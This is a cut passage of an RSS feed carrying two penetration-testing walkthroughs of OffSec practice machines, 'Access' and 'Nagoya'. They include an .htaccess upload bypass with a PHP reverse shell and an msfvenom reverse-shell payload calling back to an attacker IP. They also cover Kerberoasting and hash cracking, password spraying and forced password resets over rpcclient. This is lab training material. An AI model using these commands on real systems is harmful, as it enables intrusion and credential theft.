3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2026-03-27T02:18:48<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 102.91 seconds</pre><p>The first take away from the NMAP scan is the name of the domain, access.offsec. Second, I went to the web application being hosted on port 80 to see what was there. while searching around the site, I found an interesting upload option under the buy tickets section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4dM4AVzfvqXBDmpaPBFrFA.png" /></figure><p>I went to revshells and drafted an Ivan Sincek php reverse shell and attempted to upload it to see what the response would be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*CnHgNEC1T6gRc9J_10HORw.png" /></figure><p>After trying every variation of PHP manipulation, nothing seemed to be working. I was searching around online, when I came across a suggestion to create a .htaccess file and upload it to the webpage to allow certain extensions.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ echo &quot;AddType application/x-httpd-php .dork&quot; &gt; .htaccess</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*m2Dj_7oAtXkWg8PeiaCtXw.png" /></figure><p>That’s a good response, now I ran a gobuster scan to see what directory the uploads go to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*cYwu-MUZSEEgb8CFyLEEcw.png" /></figure><p>Alright, the uploads go to the very aptly named directory, uploads. Now, we need to change the extension of our .php file to .dork and then upload it. Now with a netcat listener set up, we proceed to the uploads directory and double click our dork file, causing a reverse shell of the user svc_apache back to our listener.</p><p>I tried to find local.txt, but it doesn’t seem to be under and of svc_apache’s directories. Looking at C:\Users, we see that there’s another account besides Administrator, being svc_mssql.</p><p>The NMAP scan didn’t show an open MSSQL port, so I ran netstat and didn’t find one open on the internal network either. I uploaded Get-SPN.ps1 to list all the SPNs on the machine.</p><p><a href="https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1">PowerShell/Get-SPN.ps1 at master · compwiz32/PowerShell</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*zFAcsNwI8FBIs0JavjzhZg.png" /></figure><p>MSSQL being there is interesting, considering it is the other account on the machine.</p><p>Now that we have the SPN, let’s craft a ticket to use to get a hash. Using svc_apache we input the following code.</p><pre>Add-Type -AssemblyName System.IdentityModel<br><br>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList &#39;MSSQLSvc/DC.access.offsec&#39;</pre><p>I like to use Rubeus, so I uploaded the executable to our target machine and executed it to get the hash for svc_mssql.</p><pre>PS C:\Users\svc_apache\Downloads&gt; .\Rubeus.exe kerberoast</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*SKRekpCO0pWxEWD-zbc8ZQ.png" /></figure><p>Great, now with a hash, we save it into a file and use hashcat to crack it.</p><pre>makoyi@kali 26/03/26 22:31 [~] <br>❯ hashcat hash /usr/share/wordlists/rockyou.txt<br>hashcat (v7.1.2) starting in autodetect mode<br>&lt;snip&gt;<br>13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol<br>&lt;snip&gt;<br>$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec@access.offsec*$fa18b58819d8ec540f9dcfa37a8d21bc$e66652bf129fe81862aad30ccbbe1806efe9479f1f9da90e2781402732a8fe291070662e3de39ea413c1c5f31efc32bc7594bbf9a737704d8efa357a4252cd8e392c8ee76481bd520ee52d066377cc23b99e3f002871e0b5879151b0cc0a390d4414f061df49c99f34de4bab5a267b553be75995f9e62b5bcba82a867f873e2856e868e6b864b303a52c4495c28ab5594023ded8886a4c120cbf931b5ae5a1067b5928f4c05f6bcf90733e8bd98eb4043bb859eab7ede6bca622bb6df76fb228d0537f627130dc7e0be75ffb127701da389a2a6f7d75091c603c68b65ca5ca0f780e62abe954340585bc11601f926793548183365b6b101a585976b98a1be05a77675e37c892cc62c52e8cb39db7ea0e0f6ed24b86f128432e103934379692b4a5e197ce970842d8adbeb450adea0bbdcac8f420c13626d88342aefb69cbd6786be79a497eb2d4b0887a2a424aaf28da46df8046153fc870a8c564d782cefd5c83a757a657c1ccb9f9e177b998b73da592c5b51138d62741e78bb898a7ab38e48a08732d8ffefacc83606acc1e804f7019ba73b93b60e101a28fb7f5d37dd870d6507d12cbeccc915a5b9982899648d3d0f1922695a0501f7c6944f1f24c64ef60da2bb436f29cfa20b53a3f73cf4726eef1f10a1ccff1e1c640f854dbe61e2105372961c1d698dd4683c7e6d4906aabe3b8d0561250e268f3be9409a424dc67ac4c0dc6167eb8eb3c7edd31b5c9327c0ddfa870d81b0cc832a69ec2b98694b5c93f2762bde997a49f579f3c4f938da4a336e0ed1490f9cf066e61b5dec2a36bc34782dab6a025b1902bf5bb638b89a44cf3e72e9ea979e58b3ef714368e94e5214475764a690f68506636b10e4bafeb1900a117ec0db489b463a6278625efe290a47dd30c45f9b0d91948969015610ca3c29b93ffc4d52131f284ba5ceaa906d67d511fa4a966bf88803db6a999bfa272dc2a96215e2af43030441ab4a0062eea47d225694c10fa3859b1c612870ff9ee5edd331cecb8c75bb3dc7d3b9fe7e7c34e8dc8f8ebfd1ef176d1a8550e626ed16120050b84b534a09d85daa9b1ca343fa7a794751c76acaf922080cbaf2ea61c9689c270423a05d6133ccda382adae35cadebc725dbdeb9541c503d7633c016be7920b44817bfb89873f35352c822ce61aa0365cd2f34614adb74145fe07c5c3b1c62fcf911f34ea5871b23e6f71bed3b7a7658493e920592713b6f7bbf2552fbfbc6eecc04eb2ca968bd0aa6772c687ce84adb89fe7a339a97aca90d9a4ba6b47c827e3b151453c2dc80a5f1753aa10271a82513cbb6a38b461d89b596a3b176f7fbdfdd469ed0e40f3be00584e5a06d8daff1fcab4f482ba5854deaef7e4b5891d9eee7d3b4e1825b81c9ca67d0b5de1693edeaefaed5a65c60a7f1e8624d4d673da82726f0dd92fd1e86921aefbfe6a396e1ab01949e6be2ef7195e2ef63708fce0465c118a59f189a6e176d6392f6c8506044dffb4d95f25ebcab51ac228e6b62fde27869006c5f298b66174583280125b03625c5f61007e9a42d2c67736698c8cf5fb4733cb7ed7246fb4e9c09683aff79a65916b0fd2dae269d5626e952c:trustno1</pre><p>Now that we have the password, let’s see what we can do with it. I tried crackmapexec to find some smb shares, but there was nothing useful inside of them, and it doesn’t look like the account can log in to winrm either. Since I have valid credentials, I uploaded Invoke-RunasCs.ps1 to try and switch users.</p><p><a href="https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1">RunasCs/Invoke-RunasCs.ps1 at master · antonioCoco/RunasCs</a></p><pre>PS C:\xampp\htdocs\uploads&gt; import-module ./Invoke-RunasCs.ps1<br>PS C:\xampp\htdocs\uploads&gt; Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command &quot;whoami&quot;<br>[*] Warning: The logon for user &#39;svc_mssql&#39; is limited. Use the flag combination --bypass-uac and --logon-type &#39;8&#39; to obtain a more privileged token.<br><br>access\svc_mssql<br><br></pre><p>That was the response I was looking for, so now I created a payload with msfvenom to gain a reverse shell using Invoke-Runas.</p><pre>makoyi@kali 26/03/26 22:45 [~] <br>❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.248 LPORT=445 -f exe -o rev.exe</pre><p>After uploading our payload, we set up netcat to listen and use Invoke-Runas to execute the payload.</p><pre>PS C:\xampp\htdocs\uploads&gt; Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command &quot;rev.exe&quot;<br>[*] Warning: The logon for user &#39;svc_mssql&#39; is limited. Use the flag combination --bypass-uac and --logon-type &#39;8&#39; to obtain a more privileged token.                                                                                   <br><br>No output received from the process.</pre><p>The output says that there was nothing received, but checking out netcat listener, we find that we have a shell as svc_mssql. We find local.txt at C:\Users\svc_mssql\Desktop\local.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*EL51cM-rHf5AIo6d3gSr9g.png" /></figure><p>Now, let’s see what privileges svc_mssql has.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*UojJzMHr21zr1ojAeyowIw.png" /></figure><p>SeManageVolume caught my attention off the bat, and very quickly I found an exploit to use for privilege escalation.</p><p><a href="https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public">Release SeManageVolumeExploit · CsEnox/SeManageVolumeExploit</a></p><p>Using the exploit, we can read proof.txt at C:\Users\Administrator\Desktop\proof.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*4tRCQ0SgGDKQbJVhLPPnkA.png" /></figure><p>Thank you for reading!</p><p>I hope this walk-through helps, stay ethical, and happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a6e6a89f4ae6" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/proving-grounds-practice-access-a6e6a89f4ae6">Proving Grounds — Practice — Access</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Practice — Nagoya]]></title>
            <link>https://infosecwriteups.com/proving-grounds-practice-nagoya-19eec0a917a1?source=rss-c3ac18390674------2</link>
            <guid isPermaLink="false">https://medium.com/p/19eec0a917a1</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Makoyi]]></dc:creator>
            <pubDate>Fri, 27 Mar 2026 00:28:54 GMT</pubDate>
            <atom:updated>2026-03-27T11:03:17.146Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fs5VG1_gYeQJI1YNlwJLqQ.jpeg" /><figcaption>Image from Offsec’s practice box Nagoya</figcaption></figure><p>Proving Grounds Practice box Nagoya is rated hard, but the community has rated it as very hard. The rating aside, this box is exceptional practice for Active Directory for the OSCP exam. The initial foothold was a bit challenging, and definitely earned the community’s rating. That being said, let’s crack into it.</p><p>— NMAP Scan</p><pre>makoyi@kali 26/03/26 [~] <br>❯ sudo nmap -Pn -n 192.168.185.21 -sC -sV -p- --open<br>[sudo] password for makoyi: <br>Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-26 12:23 -0500<br>Nmap scan report for 192.168.185.21<br>Host is up (0.081s latency).<br>Not shown: 65512 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: Nagoya Industries - Nagoya<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-26 17:27:31Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2026-03-26T17:29:01+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com<br>| Not valid before: 2026-03-25T17:21:30<br>|_Not valid after:  2026-09-24T17:21:30<br>| rdp-ntlm-info: <br>|   Target_Name: NAGOYA-IND<br>|   NetBIOS_Domain_Name: NAGOYA-IND<br>|   NetBIOS_Computer_Name: NAGOYA<br>|   DNS_Domain_Name: nagoya-industries.com<br>|   DNS_Computer_Name: nagoya.nagoya-industries.com<br>|   DNS_Tree_Name: nagoya-industries.com<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2026-03-26T17:28:22+00:00<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49676/tcp open  msrpc         Microsoft Windows RPC<br>49678/tcp open  msrpc         Microsoft Windows RPC<br>49691/tcp open  msrpc         Microsoft Windows RPC<br>49698/tcp open  msrpc         Microsoft Windows RPC<br>49717/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled and required<br>| smb2-time: <br>|   date: 2026-03-26T17:28:22<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 353.54 seconds</pre><p>Alright, so the first couple of things that pop out are port 80, hosting the website, port 135 for rpc, and port 5985 for winrm. Let’s start with taking a look at the web server hosted on port 80. There wasn’t much on the main page, but the Team link at the top drew my attention.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*4Qwp1JivhUhyhDaFs1KU9A.png" /></figure><p>First thing I did here was created a user list with a format of firstname.Lastname.</p><pre>matthew.Harrison<br>emma.Miah<br>rebecca.Bell<br>scott.Gardner<br>terry.Edwards<br>holly.Matthews<br>anne.Jenkins<br>brett.Naylor<br>melissa.Mitchell<br>craig.Carr<br>fiona.Clark<br>patrick.Martin<br>kate.Watson<br>kirsty.Norris<br>andrea.Hayes<br>abigail.Hughes<br>melanie.Watson<br>frances.Ward<br>sylvia.King<br>wayne.Hartley<br>iain.White<br>joanna.Wood<br>bethan.Webster<br>elaine.Brady<br>christopher.Lewis<br>megan.Johnson<br>damien.Chapman<br>joanne.Lewis</pre><p>The second thing, was to create a password list to try out. If you look down at the bottom of the team page, you’ll see that the website was created in 2023, and without any other context to use, I created a password list of the seasons combined with 2023.</p><pre>Spring2023<br>Summer2023<br>Fall2023<br>Winter2023</pre><p>Now that we had a user and password list, it’s time to see if anyone used those credentials.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ crackmapexec smb 192.168.185.21 -u users -p pass --continue-on-success             <br>SMB         192.168.185.21  445    NAGOYA           [*] Windows 10 / Server 2019 Build 17763 x64 (name:NAGOYA) (domain:nagoya-industries.com) (signing:True) (SMBv1:False)<br>&lt;snip&gt;<br>SMB         192.168.185.21  445    NAGOYA           [+] nagoya-industries.com\craig.Carr:Spring2023<br>&lt;snip&gt;<br>SMB         192.168.185.21  445    NAGOYA           [+] nagoya-industries.com\fiona.Clark:Summer2023<br>&lt;snip&gt;</pre><p>Luckily for us, we got two accounts that have bad password practice. Using fiona.Clark’s credentials, let’s check smb and see if we can find anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*fC9uAheFaklc5INZQQl8CA.png" /></figure><p>Nothing in particular sticks out, so now let’s just check the shares to see if there’s anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*aPUPD05yhVTNRKTadwwGbA.png" /></figure><p>Through enumeration, we find an interesting executable, ResetPassword.exe. Using ghidra, let’s see if there’s any information that we can use.</p><pre>- File -&gt; New Project<br>- File -&gt; Import File ResetPassword.exe<br>- Open Code-Browser<br>- Drag the .exe file to Code-Browser<br>- Analyze<br>- Window -&gt; Defined Strings</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*-GgkiXtut-CJHeE6ggDTTQ.png" /></figure><p>Alright, now we have a service account and credential. Just to double back, and make sure there was nothing I missed, I’m going to run impacket-GetUserSPNs to see if there’s any other accounts I can grab.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ impacket-GetUserSPNs -dc-ip 192.168.185.21 nagoya-industries.com/fiona.Clark:Summer2023 -request<br>Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies <br><br>ServicePrincipalName                Name          MemberOf                                          PasswordLastSet             LastLogon                   Delegation <br>----------------------------------  ------------  ------------------------------------------------  --------------------------  --------------------------  ----------<br>http/nagoya.nagoya-industries.com   svc_helpdesk  CN=helpdesk,CN=Users,DC=nagoya-industries,DC=com  2023-04-30 02:31:06.190955  &lt;never&gt;                                <br>MSSQL/nagoya.nagoya-industries.com  svc_mssql                                                       2023-04-30 02:45:33.288595  2024-08-03 12:48:01.815298             <br><br><br><br>[-] CCache file is not found. Skipping...<br>$krb5tgs$23$*svc_helpdesk$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_helpdesk*$47a9f7afd5e978d5f965285586ca527f$4be7210deca8ba7ba83006fbac2e64c96f17bedbee9d1746f1931243756c11ac47a57c316ba9b81080a1853f18816a92261ec67fc4599e51b23f4addeddd23153ecd8af464ea069f281cae731694eb338db4cac6aea6250664f732ac972d578223ff90c465fc134b39e9fce885c10c1c86e02d2aafc5a3a6c6871cdcd830feb0a4ab8698be3ba918000811f7c894f5f5d39520c0dcb6ac2d0857918521b193a51c3307edb7b1aa155e1504d635aa154094f66737a6e131d543e860c12ec95723cf02f0f65b374c12cab8775a5e4c3b6f7af01d834d3493a8438a59ff9e29838e64defee6ccee3d0b97bfcf649aa4e3c602d955a65a5087bf046c28d658b033664ff853eb6495e59b35918db139888cb93fe0f7ad67b0664bd96ddc1d70e168c8770915cba96551993f83a27f6c2737b09025da3ae5241fefd116d580da01e4733cdc9477702acae4c94590ea9eaf9c6a00d88f6f06763060f6986ccbe4315df1a739708cfd795d1f5bf5aea32c4fc4329884ebfe8aae68a7d3a85248a38871c7865a04567be81c942c6dd484d0032b1c09e5d2d27e41f000df39a81b17d4ccb8dae970704e695c80d743b3533cbcd31fc6e928733fb7b2300197a19e35e2c8adeaf986c7cd2e7b40a684562ef295539e8557d172c1ad46820852e7cd5b1f5f75bbdcccae72f7555878294aaadd34988e3ad4b3cffaeea9c459fc266347557dd8e28d8cea34c45b476ee6eeec2ecbcacb123b192004b7682ddb0bab8a392a96ca1ad3ef31b2edeb3de0c9f01bf371542312a74a186d56a783b824a9ea6ea4c774ef71b60565249ec7651d341b987ef3a2de0894f1c30f467a83db7a42201204ed17242fba2731737a8346e4b82367dd8b0980a86e54b34f27e3d2603349f2f2a9b1b6c34e95356a4ec01a6cb8c1368ee617c30fda0495de764f464181192b0520713ad1c8edba906f70e19af9968ac050d9a34302e97a3f934cd42b62c6b7544e0f8a915555b0b4e01f604d68da69ab4cda383b1f3cb53308de18d8ab52643334c3d2c54082e97486db01029a55eb41a4c86bdab914d0cdd39fae37134da86c634f4978485934324e9a0101e3e905ccba9fff9d2a6b0d9eeed58b5274bd8be235ef05938ac4da93924caec6cbc34c8974d0acf534b6d9274e41bbf364730af2f75073ec17f2a5d75b39bf3aa10ec13e71505a22583af1598571d58df071f8ed7193caceab062605cfe93a86f5a052b0adf3a0690c2ef83b1db2b7111a4b71e5705ded050fd77a82f8d9f70cee1342473507fc08571501636eebf43a226f7040034b74da996fad2356ba83e5ae1e6427e9d781d3fc99326ae0e976b35025a431bf240fa9604040c6b24fa28f883aec7566a13ded34a8e1e155847b397433be69ce509fe25ca42790ad95416623c7a92987cddeaaf151ad26e4868b6aa4ff6a45cfdb9cf8cf04eede6558060a9fee76b9d37dccb71989257fd9b6010d0bcf9c08652b10265cd8fbc2d30929b45fe6979c9ab109bdd958f9b10e13641496b093f5c447e301fe48eb125662dbc271724e670102e665bddb5100c26423bda4221850c65e9d5d4554d6313dd16e966d114b2ecd503f8a9b6b79d129f1b75228d504a4157d<br>$krb5tgs$23$*svc_mssql$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_mssql*$613500debadca60e20acc2d544d88687$57c4644f5d1dd9559691c1d0d113d7d2802ba93633450faef226bb5ccdf05d225cbf79489578c31c60a4c71fc06e981ef433a51debd1a7937b4e4e770d6fa0b467804d8579cccd9d8b49a75245fc14a3828026637d1247a24d7c82cb515f0a8b7734c20f1a2740436dc43f6f3be4121c1a2f7bc64fcf7cdf4d39dd6b55a1ac6e74db48987c003352ef5ae7878a280daf98228f79f6415f0a95935a4b3a669b79003cc1a2a1484fc52c5b4977f8a1ddbe505a44df0dce8ed2c82fcf25742245de5150cb0603fdd6ecc4410304b1ef838ad67033d170194eeb5db4cd98cb2b6e4b0af7abc5f4ead409064d9ec511db8684f66b2e254dc479feefce184b1d3f0a9b240a0f44e8cf4fb68239f3744c8ef563b233490004de3f7a4f91cf445bd7a0dd88f611eb1019311a902ec82780cbc5895690606cdf328409a8a0e5919fdda9bd032834461900e096daa38bfdcbfe0268e2016c8a5791bec9fe51fdb55bf0ecd689a1df83bf789e11c8cf8724610fdadf87412b20f64265a59e417e5e8ead7d8e348f7e88c0db7178f0cb5121125d5034858bed3b0bc449a8e0934e27c1b9fc97c8826e8a3f15c88faf3b1f333b3c6d2262e13ccc4bc4874e335823d1ecc0716347f94906a91d68c48f8c59b1ad4883bec665f712a6d0b430f8f2727dbe96ea0007c72e6857eb90228b6a517b978a51a1d8994d1da0f1103a08776a646e318d938c29b2f01fb9a4c04975bbb2e17d9bbe149635a8066c127028636bbed5fe05de6ca392b61f09790e2f56bf1b063c5ea3cd051f77090d7c23f0a67f5a9e43d70326373150e4aa3bad8ccd56ef00a1803da101d6b4ab4e177f74a016815eb23656ce4a46c7b9fd1c33d72981bd41c3223d98a42051e1e046d32fe6165a847620582aa1b99c0bb62bd9d4a1fba60befaea19643107f08a6750653c62108224b82e89f927566f48ed65d9e778b4a9cde74875239aec180628487ffb198027a4ed5998a9ba1469b1ae0c76335c132e48d14bbfbdc7b4a1ff7a9a710d6be55ac3005c1cf88c41a721b78cca8a04487497802724ca1b6577810fe80e98b6e1e3ede13aaab43e3ee780f3dc0f70fa294f9319c62c508e0a3f47a48a5e8aaaed1b5ce036751a041ef546466ecdfd334f40b94dd3284ef876a3aebe05c53a070959b4a07d4f6c8bdf60337a3ec3b8bcde3c4172d39126f574c42d34d56ae3ff89c59b072b0a82e0fcb4b5cec64b9be0f531a62c8cc6f198d788f435cac605483d4fec8eddf6d852fce259c8f20f742b421f4c0dc2761e19e8edacdd0aebe83b4101b4dc994e2217476d3ba38ff5183918b48425fbe7cac0060656959a511e1e4bddf0919d9c0e5aaa4595980110a17733e0d6c2a85f2151146700023425e98ee228c870e912e69d352cf2339172deb92e2963529b9f4bfbcf8e9c23b2db58d5446fff39c287c947112236729845a042eac44f7447db73478b04004cbd48f29d68997e3ecccd23f252dd1dc8776a284327beb7272b74272cf341598816e6715082e704a70a05fc74033e28192254481a29121ba4f4c29d3be7c37a3e57c9179ec386043c90b222395ef78bb54a17cd31927354c1afb329a574985f6719a2176b4fb81c897d57e</pre><p>We find two accounts and hashes, so now it’s time to save those as a file and use hashcat to crack it.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ hashcat hash /usr/share/wordlists/rockyou.txt                                             <br>hashcat (v7.1.2) starting in autodetect mode<br>&lt;snip&gt;<br><br>13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol<br><br>&lt;snip&gt;<br><br>$krb5tgs$23$*svc_mssql$NAGOYA-INDUSTRIES.COM$nagoya-industries.com/svc_mssql*$613500debadca60e20acc2d544d88687$57c4644f5d1dd9559691c1d0d113d7d2802ba93633450faef226bb5ccdf05d225cbf79489578c31c60a4c71fc06e981ef433a51debd1a7937b4e4e770d6fa0b467804d8579cccd9d8b49a75245fc14a3828026637d1247a24d7c82cb515f0a8b7734c20f1a2740436dc43f6f3be4121c1a2f7bc64fcf7cdf4d39dd6b55a1ac6e74db48987c003352ef5ae7878a280daf98228f79f6415f0a95935a4b3a669b79003cc1a2a1484fc52c5b4977f8a1ddbe505a44df0dce8ed2c82fcf25742245de5150cb0603fdd6ecc4410304b1ef838ad67033d170194eeb5db4cd98cb2b6e4b0af7abc5f4ead409064d9ec511db8684f66b2e254dc479feefce184b1d3f0a9b240a0f44e8cf4fb68239f3744c8ef563b233490004de3f7a4f91cf445bd7a0dd88f611eb1019311a902ec82780cbc5895690606cdf328409a8a0e5919fdda9bd032834461900e096daa38bfdcbfe0268e2016c8a5791bec9fe51fdb55bf0ecd689a1df83bf789e11c8cf8724610fdadf87412b20f64265a59e417e5e8ead7d8e348f7e88c0db7178f0cb5121125d5034858bed3b0bc449a8e0934e27c1b9fc97c8826e8a3f15c88faf3b1f333b3c6d2262e13ccc4bc4874e335823d1ecc0716347f94906a91d68c48f8c59b1ad4883bec665f712a6d0b430f8f2727dbe96ea0007c72e6857eb90228b6a517b978a51a1d8994d1da0f1103a08776a646e318d938c29b2f01fb9a4c04975bbb2e17d9bbe149635a8066c127028636bbed5fe05de6ca392b61f09790e2f56bf1b063c5ea3cd051f77090d7c23f0a67f5a9e43d70326373150e4aa3bad8ccd56ef00a1803da101d6b4ab4e177f74a016815eb23656ce4a46c7b9fd1c33d72981bd41c3223d98a42051e1e046d32fe6165a847620582aa1b99c0bb62bd9d4a1fba60befaea19643107f08a6750653c62108224b82e89f927566f48ed65d9e778b4a9cde74875239aec180628487ffb198027a4ed5998a9ba1469b1ae0c76335c132e48d14bbfbdc7b4a1ff7a9a710d6be55ac3005c1cf88c41a721b78cca8a04487497802724ca1b6577810fe80e98b6e1e3ede13aaab43e3ee780f3dc0f70fa294f9319c62c508e0a3f47a48a5e8aaaed1b5ce036751a041ef546466ecdfd334f40b94dd3284ef876a3aebe05c53a070959b4a07d4f6c8bdf60337a3ec3b8bcde3c4172d39126f574c42d34d56ae3ff89c59b072b0a82e0fcb4b5cec64b9be0f531a62c8cc6f198d788f435cac605483d4fec8eddf6d852fce259c8f20f742b421f4c0dc2761e19e8edacdd0aebe83b4101b4dc994e2217476d3ba38ff5183918b48425fbe7cac0060656959a511e1e4bddf0919d9c0e5aaa4595980110a17733e0d6c2a85f2151146700023425e98ee228c870e912e69d352cf2339172deb92e2963529b9f4bfbcf8e9c23b2db58d5446fff39c287c947112236729845a042eac44f7447db73478b04004cbd48f29d68997e3ecccd23f252dd1dc8776a284327beb7272b74272cf341598816e6715082e704a70a05fc74033e28192254481a29121ba4f4c29d3be7c37a3e57c9179ec386043c90b222395ef78bb54a17cd31927354c1afb329a574985f6719a2176b4fb81c897d57e:Service1<br>Approaching final keyspace - workload adjusted.           <br><br></pre><p>Alright, another service account’s credentials, now it’s time to see what we can access with these two accounts. Looking at the NMAP scan again, shows that port 1433 for MSSQL is closed. So let’s start with svc_helpdesk to see what we can find.</p><p>I figured being the helpdesk account, that it probably has permissions as a remote user, so I tried the credentials with rpcclient first.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ rpcclient -U nagoya-industries/svc_helpdesk 192.168.185.21<br>Password for [NAGOYA-INDUSTRIES\svc_helpdesk]:U299iYRmikYTHDbPbxPoYYfa2j4x4cdg<br>rpcclient $&gt; enumusers<br>command not found: enumusers<br>rpcclient $&gt; enumdomusers<br>user:[Administrator] rid:[0x1f4]<br>user:[Guest] rid:[0x1f5]<br>user:[krbtgt] rid:[0x1f6]<br>user:[svc_helpdesk] rid:[0x450]<br>&lt;snip&gt;<br>user:[Christopher.Lewis] rid:[0x46c]<br>&lt;snip<br>rpcclient $&gt; enumdomgroups<br>group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]<br>group:[Domain Admins] rid:[0x200]<br>group:[Domain Users] rid:[0x201]<br>group:[Domain Guests] rid:[0x202]<br>group:[Domain Computers] rid:[0x203]<br>group:[Domain Controllers] rid:[0x204]<br>group:[Schema Admins] rid:[0x206]<br>group:[Enterprise Admins] rid:[0x207]<br>group:[Group Policy Creator Owners] rid:[0x208]<br>group:[Read-only Domain Controllers] rid:[0x209]<br>group:[Cloneable Domain Controllers] rid:[0x20a]<br>group:[Protected Users] rid:[0x20d]<br>group:[Key Admins] rid:[0x20e]<br>group:[Enterprise Key Admins] rid:[0x20f]<br>group:[DnsUpdateProxy] rid:[0x44e]<br>group:[employees] rid:[0x451]<br>group:[helpdesk] rid:[0x466]<br>group:[developers] rid:[0x46a]</pre><p>Alright, my hunch was correct and we can log in. We take a look at the users and groups first, and then we see what groups these users are in. After looking at every account, we find that Christopher.Lewis is the only user that is in three groups, he is also inside of the developers group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*b5lX1Peh4eWjcPOW_c9zfQ.png" /></figure><p>Using the helpdesk’s privileges, we go ahead and change Christopher.Lewis’s password.</p><pre>rpcclient $&gt; setuserinfo christopher.lewis 23 &#39;Password123&#39;</pre><p>After, let’s check the credentials and see if we can log in winrm.</p><pre>makoyi@kali 26/03/26 [~] <br>❯ crackmapexec winrm 192.168.185.21 -u christopher.Lewis -p Password123<br>SMB         192.168.185.21  5985   NAGOYA           [*] Windows 10 / Server 2019 Build 17763 (name:NAGOYA) (domain:nagoya-industries.com)<br>HTTP        192.168.185.21  5985   NAGOYA           [*] http://192.168.185.21:5985/wsman<br>/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.<br>  arc4 = algorithms.ARC4(self._key)<br>WINRM       192.168.185.21  5985   NAGOYA           [+] nagoya-industries.com\christopher.Lewis:Password123 (Pwn3d!)</pre><p>Success. Once logged in, you can find the 